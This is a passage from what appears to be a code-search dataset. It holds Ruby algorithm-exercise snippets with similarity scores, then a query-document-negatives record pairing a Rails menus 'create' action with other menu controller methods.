|s| [*2..n].combination(s).map(&:join).to_a }\n p possibles\n possibles.each do |i|\n x = 0\n temp_arr = []\n temp = i.split('').map { |j| j.to_i }\n p temp\n while x < temp.length do \n if i[x + 1] != i[x] + 1 || i[x + 1] == nil\n temp_arr << i[x]\n end\n x += 1\n end\n result << temp_arr\n end\n result.length\nend", "def largest_contiguous_subsum2(list)\n # O(N) ==> Time\n # O(1) ==> Space\n largest = list.first\n curr = list.first\n\n len = list.length\n (1...len).each do |i|\n curr = 0 if curr < 0 \n curr += list[i]\n largest = curr if curr > largest\n end\n largest\nend", "def naive(array)\n max = -10000\n for i in (0..array.length - 1)\n for j in (i..array.length - 1)\n total = array[i..j].inject { |m,k| m + k }\n max = total if total > max\n end\n end\n max\nend", "def sum_upon_sums(array)\n # Step 0: initialize variables => O(1)\n max = -1\n sum = 0\n\n # Step 1: Get Max and Sum => O(n)\n array.each do |num|\n max = num if num >= max\n sum += num\n end\n\n # Step 2: Get summation => O(1)\n summation = max * (max + 1) / 2\n\n # Step 3: Return Missing value by subtracting summation and sum => O(1)\n summation - sum\nend", "def solution(a)\n accessed = Array.new(a.size + 1, nil)\n caterpillar_back = 0\n count = 0\n\n a.each_with_index do |x, caterpillar_front|\n if accessed[x] == nil\n accessed[x] = caterpillar_front\n else\n new_caterpillar_back = accessed[x] + 1\n first_part_size = caterpillar_front - caterpillar_back\n second_part_size = caterpillar_front - new_caterpillar_back\n count += first_part_size * (first_part_size + 1) / 2\n count -= (second_part_size) * (second_part_size + 1) / 2\n caterpillar_back.upto(new_caterpillar_back - 1) { |n| accessed[a[n]] = nil}\n accessed[x] = caterpillar_front\n caterpillar_back = new_caterpillar_back\n end\n end\n\n remaining_size = a.size - caterpillar_back\n count += (remaining_size) * (remaining_size + 1) / 2\n end", "def josephus_survivor(n,k)\n arr = (1..n).to_a\n\n while arr.length > 1\n idx = k % arr.length\n\n if arr.length > k\n arr = arr.drop(k) + arr.take(k - 1)\n elsif arr.length == k \n arr = arr[0...-1]\n else\n arr = arr.drop(idx) + arr.take(idx - 1)\n end\n end\n \n arr[0]\nend", "def two_sum?(arr, target)\r\n hash = {}\r\n arr.each_with_index do |ele, i| #n\r\n hash[i] = ele\r\n end\r\n arr.each_with_index do |ele, i| #n \r\n value = target - ele\r\n if hash.has_value?(value) && hash.key(value) != i\r\n return true\r\n end\r\n # all the keys in has except i\r\n # if any of the value = value\r\n end\r\n false\r\nend", "def two_sum_v3?(arr, target) \n hash = Hash.new\n arr.each { |ele| hash[ele] = ele } #o(n)\n arr.each do |ele| #o(n)\n search_value = target - ele\n return true if !hash[search_value].nil? && hash[search_value] != ele\n end\n false\nend", "def arrayManipulation(n, queries)\n nums = Array.new(n+1, 0)\n queries.each do |query|\n nums[query[0]-1] += query[2]\n nums[query[1]] -= query[2]\n end\n\n max = nums.first\n (1..nums.length-1).each do |i|\n nums[i] += nums[i - 1]\n max = nums[i] if nums[i] > max && i < (nums.size - 1)\n end\n\n max\nend", "def solution_slow_2(n, p, q)\n sieve = sieve_of_erathosteneses(n)\n # puts \"sieve:#{sieve}\"\n semi = semiprimes(n, sieve)\n # puts \"sp:#{semi}\"\n prefix = [0,0,0,0,1]\n 5.upto(n) do |x|\n if semi.include? x \n prefix << prefix.last + 1\n else\n prefix << prefix.last\n end\n end\n # puts \"prefix:#{prefix}\"\n\n queries = [p,q].transpose\n\n\n res = queries.map do |query|\n prefix[query.last] - prefix[query.first - 1]\n end\n\n # puts \"res:#{res}\"\n\n res\n end", "def remove_duplicates(nums)\n record_leng = 0\n uniq_arr = nums.uniq\n uniq_arr.each do |i|\n record_leng += 1 if count_great_two?(nums, i)\n end\n return (record_leng + uniq_arr.size)\nend", "def solution(a)\n # write your code in Ruby 2.2\n n = a.length\n \n counter = Array.new(n+1, 0)\n \n a.each do |x|\n counter[x-1] += 1\n end\n \n return counter.index { |x| x == 0 } + 1\nend", "def fibonacci(n)\n return fib_helper([0, 1], 2, n)\n # if you'd like to test what i THINK is an O(1) space complexity solution.....\n # i did run this through the tests and it SHOULD work:\n # return faster_fib_helper([0, 1], 2, n)\nend", "def my_min1(arr)\n arr.each do |el1| #O(n)\n if arr.all? {|el2| el1 <= el2 } #O(n + 1)\n return el1\n end\n end \nend", "def solution(a, k)\n # write your code in Ruby 2.2\n \n unless a.empty?\n for i in 1..k\n last = a.pop\n a.insert(0, last)\n end\n end\n \n return a\nend", "def solution(a)\n return 1 if a.empty?\n a.sort!\n return 1 if a.first > 1\n return a.first + 1 if a.length <2\n (0..(a.length)).each do |index|\n return a[index] + 1 if a[index] + 1 != a[index + 1]\n end\n return a.last + 1\nend", "def three_sum_fast(arr)\n arr = merge_sort(arr)\n count = 0\n\n (0..arr.length - 1).each { |i|\n (i + 1..arr.length - 1).each { |j|\n if bin_search(arr, -arr[i] - arr[j]) > j\n count += 1\n end\n }\n }\n count\nend", "def find_it(seq)\n uniqueInts=seq.uniq\n\n uniqueInts.each do |value|\n k=0\n seq.each do |mainSeq|\n k+=1 if mainSeq==value\n end\n return value if k%2==1\n end\nend", "def pair_sum(array, k)\n result = Set.new\n hash_num = Hash.new\n\n array.each{|n| hash_num[n] = k - n}\n\n array.each do |n|\n unless hash_num[hash_num[n]].nil?\n result.add([hash_num[n], n].sort)\n end\n end\n\n result\nend", "def dp_possible_trees(n)\n array = Array.new(n+2) { Array.new(n+1) { 0 } }\n (0...n+2).to_a.each do |i|\n array[i][0] = 1\n end\n\n sum = 0\n (1...n+1).to_a.each do |i|\n sum = 0\n (1..i).to_a.each do |j|\n array[j][i] = array[n+1][i-j] * array[n+1][j-1]\n sum += array[j][i]\n end\n array[n+1][i] = sum\n end\n array[n+1].last\nend", "def canBeSum(n, array, cache)\n\ti = 0\n\twhile array[i] <= n / 2\n\t\tif cache[n-array[i]] # array.include?(n-array[i]) is OK, but very slow\n\t\t\treturn true\n\t\tend\n\n\t\ti += 1\n\tend\n\n\treturn false\nend", "def better_sum?(arr, target)\n pair_set = Set.new\n\n arr.each do |ele|\n if pair_set.include?(ele)\n return true\n else\n pair_set << target - ele\n end\n end\n\n false\n\nend", "def find_duplicates(a)\n len=a.length\n n=len-2\n sum_of_series= (n*(n+1))/2 #Sum of series 1 to n\n \n #Find sum and product of array elements\n sum=0\n product=1\n \n for x in a\n sum+=x\n product*=x\n end\n \n sum-=sum_of_series #sum is a+b now,where a and b are repeating numbers\n product/=fact(n) #product is a*b now,where a and b are repeating numbers\n \n temp= Math.sqrt((sum**2)-(4*product)).to_i # temp is a-b\n \n\tprint \"#{(sum+d)/2} #{(sum-d)/2}\"\nend", "def running_time(array)\n cnt = 0\n (1...(array.length)).each do |x|\n y = x\n while y.positive?\n break unless array[y - 1] > array[y]\n\n temp_num = array[y]\n array[y] = array[y - 1]\n array[y - 1] = temp_num\n cnt += 1\n y -= 1\n end\n end\n cnt\nend", "def solution(a)\n a.sort!\n a.each_with_index do |element, index|\n return 0 if element != index + 1\n end\n 1\nend", "def solution(a)\n s= a.sort\n 0.step(s.size - 1).inject(0) do |result, x|\n z= x+2\n (x+1).step(s.size - 1).inject(result) do |acc, y|\n z+=1 while z < s.size && s[x] + s[y] > s[z]\n acc += z-y-1\n end\n end\nend", "def solution(a)\n return nil unless a || a.empty?\n num_hash = {}\n a.each do |num|\n num_hash[num] = 1\n end\n\n 1.upto(a.size + 1) do |item|\n return item if !num_hash.has_key? item \n end\n\nend", "def sum_to_n? arr, n\n #arr.product(arr).any? {|c| sum(c) == n && c[0] != c[1] } ----1.3\n arr = arr.sort\n low = 0\n high = arr.length - 1\n while low < high\n if arr[low] + arr[high] == n\n return true\n end\n arr[low] + arr[high] < n ? low += 1 : high -= 1 \n end\n return false\nend", "def sub_sum_better(list)\n largest_sum = list.first\n\n #iterate over once.\n # as you iterate keep a tally of the sum.\n # indexing into an array is O(1)\n # [2, 3, -6, 7, -6, 7]\n\n sub_sum = 0\n list.each do |el|\n sub_sum += el\n largest_sum = sub_sum if sub_sum > largest_sum\n\n sub_sum = 0 if sub_sum < 0\n end\n\n largest_sum\nend", "def better_subsum(arr) # o(n)\n largest = 0 \n sum = 0 \n i = 0 \n j = 0\n\n while i != arr.length-1\n largest += arr[j]\n sum = largest if largest > sum \n if j == arr.length-1 \n i+=1 \n j = i \n largest = 0 \n else\n j+=1\n end \n end \n sum \n end", "def find_unsorted_subarray(nums)\n \nend", "def arrayManipulation(n, queries)\n arr = Array.new(n + 2, 0)\n\n queries.each do |a, b, k|\n arr[a] += k\n arr[b + 1] -= k\n end\n\n max_sum = 0\n sum = 0\n arr.filter { |diff| diff != 0 }.each do |diff|\n sum += diff\n max_sum = [max_sum, sum].max\n end\n\n max_sum\nend", "def my_min_2(arr) #O(N)\n min_num = arr.first\n \n arr.each { |num| min_num = num if num < min_num }\n \n min_num\n end", "def fast_hash_additive_find(arr, target)\n lookup_table = Hash.new\n\n arr.each do |element|\n return true if lookup_table[target - element]\n if lookup_table[element]\n lookup_table[element] += 1\n else\n lookup_table[element] = 1\n end\n end\n\n return false\n end", "def my_min2 # O(n) time complexity\n smallest = self.first\n self.each do |num|\n sleep(1)\n smallest = num if num < smallest \n end\n smallest\n end", "def move_zeros(array)\n zero_count = 0\n # O(n)\n array.each do |num|\n\n zero_count += 1 if num == 0\n end\n\n # O(n)\n array = array.select { |num| num != 0 }\n \n # O(1)\n zero_count.times do\n array += [0]\n end\n\n array\nend", "def solution(x, a)\r\n # write your code in Ruby 2.2\r\n arr=[];\r\n i=0;\r\n l=a.count\r\n \r\n while(arr.count<=x)\r\n \r\n if(arr[i].nil?)\r\n arr << i\r\n end\r\n \r\n i+=1\r\n end\r\n i\r\nend", "def largest_contiguous_subsum_1(list) \n subs = [] #O(1)\n (0...list.length).each do |start_num| #O(n)\n (start_num...list.length).each do |end_num| #O(n)\n subs << list[start_num..end_num] #O(n)\n end\n end\n subs_sum = [] #O(1)\n subs.each do |sub| #O(n**2)\n sub_sum = 0 #O(1)\n sub.each {|s| sub_sum += s} #O(n)\n subs_sum << sub_sum #O(1)\n end\n subs_sum.inject do |acc,el| #O(n)\n if acc > el #O(1)\n acc #O(1)\n else\n el #O(1)\n end\n end\n end", "def solution(a)\r\n # write your code in Ruby 2.2\r\n #trangular\r\n # a[0] = 10\r\n # a[2] = 5\r\n # a[4] = 8\r\n # 10 + 5 > 8\r\n # 5 + 8 > 10\r\n #8 + 10 > 5\r\n \r\n \r\n l=a.count\r\n \r\n i=0\r\n while(i<l) do\r\n j=i+1\r\n while(j<l) do\r\n k=j+1\r\n \r\n \r\n while(k<l) do\r\n if((a[i] + a[j] > a[k]) && (a[j] +a[k] > a[i]) && (a[k] + a[i] >a[j]))\r\n return 1\r\n end\r\n k+=1 \r\n end \r\n \r\n j+=1 \r\n end\r\n i+=1\r\n end\r\n \r\n return 0\r\n \r\nend", "def two_sum(numbers, target)\n ##set hash\n hash = {}\n ##set array\n arr = []\n\n numbers.each_with_index do |val, idx|\n if hash.key?(target - val)\n arr.push(hash[target - val])\n arr.push(idx + 1)\n break\n else\n hash[val] = idx + 1\n end\n end\n\n arr\nend", "def optimize(ary, total)\n return [] if ary.empty?\n table = []\n (ary.size+1).times { |i| table[i] = [] }\n (0..total).each { |zerg| table[0][zerg] = 0 }\n (1..ary.size).each do |base|\n table[base][0] = 0\n (1..total).each do |zerg|\n if ary[base-1].zerg <= zerg && (ary[base-1].minerals + table[base-1][zerg - ary[base-1].zerg] > table[base-1][zerg])\n table[base][zerg] = ary[base-1].minerals + table[base-1][zerg - ary[base-1][1]]\n else\n table[base][zerg] = table[base-1][zerg]\n end\n end\n end\n result = []\n i, k = ary.size, total\n while i > 0 && k > 0\n if table[i][k] != table[i-1][k]\n result << ary[i-1]\n k -= ary[i-1].zerg\n end\n i -= 1\n end\n result\nend", "def solution(a)\n ((1..a.size + 1).to_a - a).first\nend", "def intersect nums1, nums2\n result = []\n return result if nums1.size == 0 or nums2.size == 0\n\n counter_cache = {}\n counter_cache = nums1.inject({}) { |result, n|\n result[n] ||= 0\n result[n] += 1\n result\n }\n\n nums2.each do |n|\n if counter_cache[n] and counter_cache[n] > 0\n result << n\n counter_cache[n] -= 1\n end\n end\n result\nend", "def find_unique_elements(arr)\n arr_fin=[]\n arr.each do |x|\n arr.count(x)\n if arr.count(x)==1\n arr_fin << x\n end\n end\n return arr_fin\nend", "def solution(a)\n min_val = 10_000\n min_pos = 0\n \n sums = [0]\n for i in (0..a.count - 1) \n sums << sums.last + a[i] \n end\n for p in (0..a.count - 2)\n for q in (p + 1..[p + 2, a.count - 1].min)\n s = (sums[q + 1] - sums[p]).to_f / (q - p + 1)\n if s < min_val\n min_val = s\n min_pos = p\n end\n end\n end\n min_pos\nend", "def two_sum(array, target_sum)\n hash = {}\n array.each do |ele|\n hash[target_sum - ele] = ele\n end \n array.each do |ele|\n # debugger\n return true if !(hash[ele].nil? || hash[ele] == ele) \n end \n false \nend", "def sub_sum2(array)\n arr = []\n sum = 0\n array.each do |el|\n arr << [el] \n end\n array.each do |el|\n array.shift\n arr << array\n end\n # p arr\n result = 0\n arr.each do |set|\n if set.reduce(:+) > result\n result = set.reduce(:+)\n end \n end \n result\nend", "def two_sum?(arr, target_sum)\n hash = {}\n arr.each do |ele|\n diff = target_sum - ele\n return true if hash.has_key?(diff) # O(1), or constant time\n hash[ele] = 0\n end\n false\nend", "def okay_two_sum?(arr, target)\n sorted = arr.sort # n log n => quicksort => is nlogn DOMINANT\n sorted.each_with_index do |num, i| # => O(n)\n # return true if sorted[i] + sorted[-1 - i] == target\n return true if sorted[i + 1 .. - 1].bsearch {|number| target - num <=> number} # => O(log(n))\n # ASK TA ABOUT BSEARCH\n # bsearch {|ele| pivot <=> ele}\n end\n false\nend", "def fifth_anagram?(word1, word2) # O(n)\n \n p \"Running fifth_anagram...\" \n\n start = Time.now\n \n hash1 = Hash.new(0)\n # hash2 = Hash.new(0)\n\n word1.each_char {|char| hash1[char] += 1}\n word2.each_char {|char| hash1[char] += 1}\n\n hash1.values.all? {|v| v.even?}\n\n\n # puts \"Took #{Time.now - start} seconds\"\n\n \nend", "def awesome(arr, target)\n hash = Hash.new(0)\n i = 0\n j = i + 1\n while i < arr.size\n hash[arr[i] + arr[j]] += 1 \n if j < arr.size\n j += 1\n else\n i += 1\n if j = i + 1 > arr.length\n j = i \n else\n j = i + 1\n \n end\n\n end\n \n end\n return true if hash[target] >= 1\n false\nend" ]
[ "0.677689", "0.6584191", "0.60779756", "0.60185665", "0.6002255", "0.5985785", "0.5982507", "0.5940836", "0.58860135", "0.58682793", "0.5835569", "0.5820825", "0.58189166", "0.5818219", "0.5810986", "0.5785666", "0.577747", "0.5773797", "0.57639724", "0.5761223", "0.57568467", "0.57494223", "0.574592", "0.57426983", "0.57335454", "0.5730314", "0.57251817", "0.57217264", "0.5714163", "0.57090473", "0.570594", "0.5698918", "0.5676829", "0.56652796", "0.56603044", "0.5649487", "0.56476665", "0.5641166", "0.56233025", "0.56168807", "0.56158125", "0.5615291", "0.5598837", "0.55935174", "0.5575147", "0.5573627", "0.5561204", "0.5554644", "0.55527765", "0.55469173", "0.5546071", "0.55455613", "0.55417925", "0.553709", "0.5531329", "0.55280876", "0.5522702", "0.5517842", "0.5512565", "0.5510975", "0.55088806", "0.55082345", "0.5505562", "0.5502188", "0.55019945", "0.5499191", "0.54990464", "0.54961216", "0.54959416", "0.5488788", "0.5488347", "0.5488324", "0.54876876", "0.54848206", "0.5483499", "0.54829663", "0.5480778", "0.5479632", "0.5478325", "0.5475162", "0.5471471", "0.54697", "0.54696774", "0.54687315", "0.5467684", "0.5464529", "0.54628", "0.5461676", "0.5458254", "0.54566467", "0.5453935", "0.54437935", "0.543986", "0.54381424", "0.54380083", "0.54365766", "0.54274297", "0.5423853", "0.54232335", "0.542317", "0.54203546" ]
0.0
-1
? => /menus ? POST
def create name = params[:name] new_menu = Menu.new(name: name) new_menu.save if new_menu.save redirect_to menus_path else flash[:error] = new_menu.errors.full_messages.join(" , ") redirect_to menus_path end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @menu = uhook_create_menu\n\n respond_to do |format|\n if @menu.valid?\n flash[:notice] = t(\"ubiquo.menu.created\")\n return if check_redirects(@menu)\n format.html { redirect_to(ubiquo.edit_menu_path(@menu)) }\n format.xml { render :xml => @menu, :status => :created, :location => @menu }\n else\n flash[:error] = t(\"ubiquo.menu.create_error\")\n format.html { render :action => \"new\" }\n format.xml { render :xml => @menu.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create_menu\n Rails.logger.warn params.to_s\n menu = Menu.create\n menu.published = false\n if !params[:odesk_id].blank?\n odesk = Odesk.where(access_token:params[:odesk_id]).first\n menu.odesk = odesk\n else\n restaurant = Restaurant.find(params[:restaurant_id])\n menu.restaurant = restaurant\n end\n menu.save\n render json: {id:menu.id}.as_json\n end", "def index\n @menus_pages, @menus = uhook_find_menus\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml {\n render :xml => @menus\n }\n format.json {\n render :json => @menus.to_json(:only => [:name, :id])\n }\n format.js{\n render :json => @menus.to_json(:only => [:name, :id])\n }\n end\n end", "def menu\n\t\t#@test = \"if you can see this then you successfully called the menu action\"\n\t\t#render :json => @test\n\t\trender \"menu\"\n\tend", "def new\n @site = Site.find_by_name(params[:site])\n if @site.nil?\n return render_404\n end\n @menu = @site.menus.by_menu_type(params[:menu_type]).first\n if @menu.nil?\n return render_404\n end\n \n @menu_item = MenuItem.new(:menu => @menu)\n @menu_item.parent_id = params[:parent_id]\n generate_selections!(@menu_item)\n respond_to do |format|\n format.html { render :action => :new}\n end\n end", "def index\n @menus = @menus.all\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end", "def create\n @menu = @menus.new(params[:menu])\n\n respond_to do |format|\n if @menu.save\n format.html { redirect_to new_menu_menu_section_path(@menu), notice: t(\"menus.create.notice_success\") }\n else\n format.html { render action: \"new\" }\n end\n end\n end", "def new\n @menu = uhook_new_menu\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @menu }\n end\n end", "def create\n @menu = Menu.new(menu_params)\n respond_to do |format|\n format.html { redirect_to @menu, notice: 'Menu was successfully created.' }\n format.json { render action: 'show', status: :created, location: @menu }\n end\n end", "def index\n @store = Store.find(params[:store_id])\n @menus = @store.menus\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @menus }\n end\n end", "def create\n @menu = Menu.new(params[:menu])\n\n respond_to do |format|\n if @menu.save\n format.html { redirect_to @menu, notice: 'Menu was successfully created.' }\n format.json { render json: @menu, status: :created, location: @menu }\n else\n format.html { render action: \"new\" }\n format.json { render json: @menu.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @current_admin_user = current_admin_user\n @menus = Menu.all\n @title = \"Menus\"\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @menus }\n end\n end", "def create\n @admin_menu = Menu.new(admin_menu_params)\n respond_to do |format|\n if @admin_menu.save\n format.html { redirect_to admin_menus_path, notice: 'Запис успішно створено.' }\n format.json { render :show, status: :created, location: @admin_menu }\n else\n format.html { render :new }\n format.json { render json: @admin_menu.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @store = Store.find(params[:store_id])\n @menu = @store.menus.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @menu }\n end\n end", "def create\n @menu = Menu.new(menu_params)\n respond_to do |format|\n if @menu.save\n format.html { redirect_to menus_url, notice: 'Menu was successfully created.' }\n format.json { render :show, status: :created, location: @menu }\n else\n format.html { render :new }\n format.json { render json: @menu.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\t\t@menu = Menu.new(menu_params)\n\n\t\trespond_to do |format|\n\t\t\tif @menu.save\n\t\t\t\tformat.html { redirect_to @menu, notice: 'Menuen blev oprettet.' }\n\t\t\t\tformat.json { render action: 'show', status: :created, location: @menu }\n\t\t\telse\n\t\t\t\tformat.html { render action: 'new' }\n\t\t\t\tformat.json { render json: @menu.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def create\n @menu = Menu.new(menu_params)\n\n respond_to do |format|\n if @menu.save\n format.html { redirect_to @menu, notice: 'Menu was successfully created.' }\n format.json { render :show, status: :created, location: @menu }\n else\n format.html { render :new }\n format.json { render json: @menu.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @menu = Menu.new(menu_params)\n\n respond_to do |format|\n if @menu.save\n format.html { redirect_to @menu, notice: 'Menu was successfully created.' }\n format.json { render :show, status: :created, location: @menu }\n else\n format.html { render :new }\n format.json { render json: @menu.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @menu = Menu.new(menu_params)\n\n respond_to do |format|\n if @menu.save\n format.html { redirect_to @menu, notice: 'Menu was successfully created.' }\n format.json { render :show, status: :created, location: @menu }\n else\n format.html { render :new }\n format.json { render json: @menu.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @menu = Menu.new\n\n respond_to do |format|\n format.html # new.html.erb\n end\n end", "def create\n @admin_menu = Admin::Menu.new(admin_menu_params)\n\n respond_to do |format|\n if @admin_menu.save\n format.html { redirect_to admin_menus_url, notice: \"#{ t 'activerecord.successful.messages.menu_created'}\" }\n format.json { render :show, status: :created, location: @admin_menu }\n else\n format.html { render :new }\n format.json { render json: @admin_menu.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @current_admin_user = current_admin_user\n session[:menu_params].deep_merge!(params[:menu]) if params[:menu]\n @menu = Menu.new(session[:menu_params])\n @categories = @menu.categories\n @menu.current_step = session[:menu_step]\n @selected_type = @menu.menu_type\n puts \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #{@selected_type}\"\n if params[:back_button]\n @menu.previous_step\n elsif @menu.last_step?\n @menu.save\n else\n @menu.next_step\n end\n session[:menu_step] = @menu.current_step\n if @menu.new_record?\n render \"new\"\n else\n session[:menu_steps]=session[:menu_params] = nil\n redirect_to @menu, notice: \"Menu was successfully created.\"\n end\n end", "def create\n @store = Store.find(params[:store_id])\n @menu = @store.menus.create(params[:menu])\n\n respond_to do |format|\n if @menu.save\n format.html { redirect_to store_menus_url(@store), notice: 'Menu was successfully created.' }\n format.json { render json: @menu, status: :created, location: @menu }\n else\n format.html { render action: \"new\" }\n format.json { render json: @menu.errors, status: :unprocessable_entity }\n end\n end\n end", "def api_menu_params\n params.fetch(:menu).permit(:items)\n end", "def show\n if(Admin.first.nil?)\n createAdmin\n end\n\n menu=Menu.new(menu_params)\n # if the menu is saved successfully than respond with json data and status code 201\n if menu.save\n render json: Menu.all, status: 200\n else\n render json: \"422\", status: 422\n end\n # if(params[:id].include?(\"menu\"))\n # render json: \"Test\", status: 200\n # end\n #\n # menu = Menu.all.last # grabs the latest menu\n # render json: menu, status: 200\n end", "def menu\n \tredirect_to session_new_path\n end", "def index\n @menus = @user.menus.all\n render json: @menus\n end", "def create\n @menu = Menu.new(params[:menu])\n\n respond_to do |format|\n if @menu.save\n flash[:notice] = 'Menu was successfully created.'\n format.html { redirect_to(@menu) }\n format.xml { render :xml => @menu, :status => :created, :location => @menu }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @menu.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @menu = Menu.new()\n return unless request.post?\n @menu = Menu.new(params[:menu])\n if @menu.save\n flash[:success_notice] = 'Menu was successfully created.'\n redirect_to :action => 'index'\n else\n flash[:fail_notice] = 'Menu was successfully created.'\n redirect_to :action => 'new'\n end\n end", "def index\n @menus = Menu.all\n end", "def index\n @menus = Menu.all\n end", "def index\n @menus = Menu.all\n end", "def index\n @menus = Menu.all\n end", "def index\n @menus = Menu.all\n end", "def index\n @menus = Menu.all\n end", "def create\n respond_to do |format|\n if menu.save\n format.html { redirect_to [place, menu], notice: 'Menu was successfully created.' }\n format.json { render json: [place, menu], status: ':created', location: menu }\n else\n format.html { render action: 'new' }\n format.json { render json: menu.errors, status: ':unprocessable_entity' }\n end\n end\n end", "def create\n @table_menu = Table::Menu.new(params[:table_menu])\n\n respond_to do |format|\n if @table_menu.save\n format.html do\n if params[:continue]\n redirect_to edit_table_menu_path(@table_menu)\n else\n redirect_to table_menus_path(:site_id => @table_menu.site_id)\n end\n end\n format.json { render json: @table_menu, status: :created, location: @table_menu }\n else\n format.html { render action: \"new\" }\n format.json { render json: @table_menu.errors, status: :unprocessable_entity }\n end\n end\n end", "def menu_params\n params.fetch(:menu, {}).permit(:name)\n end", "def new\n @menuitem = Menuitem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @menuitem }\n end\n end", "def index\n get_data_menus_all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @user_menus }\n end\n end", "def menus\n @menus = Menu.where(location_id: params[:id]).all\n end", "def create\n @menu_item = uhook_create_menu_item\n\n respond_to do |format|\n if @menu_item.valid?\n flash[:notice] = t('ubiquo.menus.sitemap_created')\n format.html { redirect_to(ubiquo_menu_items_path) }\n format.xml { render :xml => @menu_item, :status => :created, :location => @menu_item }\n else\n flash[:error] = t('ubiquo.menus.sitemap_create_error')\n format.html { render :action => \"new\" }\n format.xml { render :xml => @menu_item.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @menu_list = MenuList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @menu_list }\n end\n end", "def index\n @menus = Menu.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @menus }\n end\n end", "def index\n @menus = Menu.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @menus }\n end\n end", "def new\n @menu = Menu.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @menu }\n end\n end", "def menu_page\n visit '/menu'\n end", "def event_menu\n\t\t# the menu is create in the application controller\n respond_to do |format|\n format.json { render json: @event_menu.to_json }\n end\n end", "def new\n @stylesheet = \"admin_menus\"\n @menu = Menu.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @menu }\n end\n end", "def new\n @menu = Menu.new\n @categories = Category.find(:all)\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @menu }\n end\n end", "def new\n @current_admin_user = current_admin_user\n session[:menu_params] ||= {}\n @title = \"New Menu\"\n @menu = Menu.new(session[:menu_params])\n @categories = @menu.categories\n @menu.current_step = session[:menu_step]\n end", "def index\n\t\t@menus = Menu.all\n\tend", "def new\n @menu_item = uhook_new_menu_item\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @menu_item }\n end\n end", "def create\n @stylesheet = \"admin_menus\"\n @menu = Menu.new(params[:menu])\n @menu.meal_type = 1\n respond_to do |format|\n if @menu.save\n flash[:notice] = 'Menu was successfully created.'\n format.html { redirect_to(@menu) }\n format.xml { render :xml => @menu, :status => :created, :location => @menu }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @menu.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @menu_mensa = ::Menu.new\n respond_to do |format|\n format.html # new.html.erb\n end\n end", "def create\n @menu_item = uhook_create_menu_item\n\n respond_to do |format|\n if @menu_item.valid?\n flash[:notice] = t('ubiquo.menu_item.created')\n format.html { redirect_to(ubiquo.edit_menu_path(@menu_item.menu)) }\n format.xml { render :xml => @menu_item, :status => :created, :location => @menu_item }\n else\n flash[:error] = t('ubiquo.menu_item.create_error')\n format.html { render :action => \"new\" }\n format.xml { render :xml => @menu_item.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @menu_item = MenuItem.new(params[:menu_item])\n @menu_item.site = current_site\n respond_to do |format|\n if @menu_item.save\n format.html { redirect_to([:admin, @menu_item], :notice => t('menu_items.notices.created', :default=>'Menu item was successfully created.')) }\n format.xml { render :xml => @menu_item, :status => :created, :location => @menu_item }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @menu_item.errors, :status => :unprocessable_entity }\n end\n end\n end", "def menu_params\n params.require(:menu).permit(:name, :event_type, :material_id, :url, :parent_menu_id, :menu_type)\n end", "def set_menu\n @menu = Menu.find(params[:menu_id])\n end", "def set_menu\n @menus = Xmt::Nav::Menu.all\n @menu = params[:parent_id].blank? ? @menus.first : Xmt::Nav::Menu.find(params[:parent_id])\n end", "def menu_params\n params.require(:menu).permit(:nome, :descrizione, :categorie, :piatti, :user_id)\n end", "def normal_menu_params\n params.fetch(:normal_menu, {})\n end", "def index\n @admin_menus = Menu.all\n end", "def create\n material = @current_shop.materials.find(menu_params[:material_id]) rescue nil\n @menu = @current_shop.menus.build(menu_params.except(:material_id))\n\n if material\n @menu.material = material\n elsif Menu.reply_message(@system_config).map{|key| key[1]}.include? menu_params[:material_id]\n @menu.keyword = menu_params[:material_id].gsub(Event::KEY_PREFIX, \"\")\n end\n @system_config.menus << @menu\n @menus_array = @system_config.menus.map {|menu| [menu.name, menu.id]}\n\n respond_to do |format|\n if @menu.save\n format.html { redirect_to backend_shop_system_config_menu_path(@current_shop.slug,@system_config , @menu), notice: t('Menu was successfully created.') }\n format.json { render action: 'show', status: :created, location: @menu }\n else\n @parent_menus_array = @current_shop.menus.map {|menu| [menu.name, menu.id]}\n format.html { render action: 'new' }\n format.json { render json: @menu.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_menuitem\n @menu_item = params[:action]\n end", "def create\n @main_menu = MainMenu.new(main_menu_params)\n\n respond_to do |format|\n if @main_menu.save\n format.html { redirect_to @main_menu, notice: \"Main menu was successfully created.\" }\n format.json { render :show, status: :created, location: @main_menu }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @main_menu.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @menu = Menu.find(params[:menu_id])\n @dish_menu = 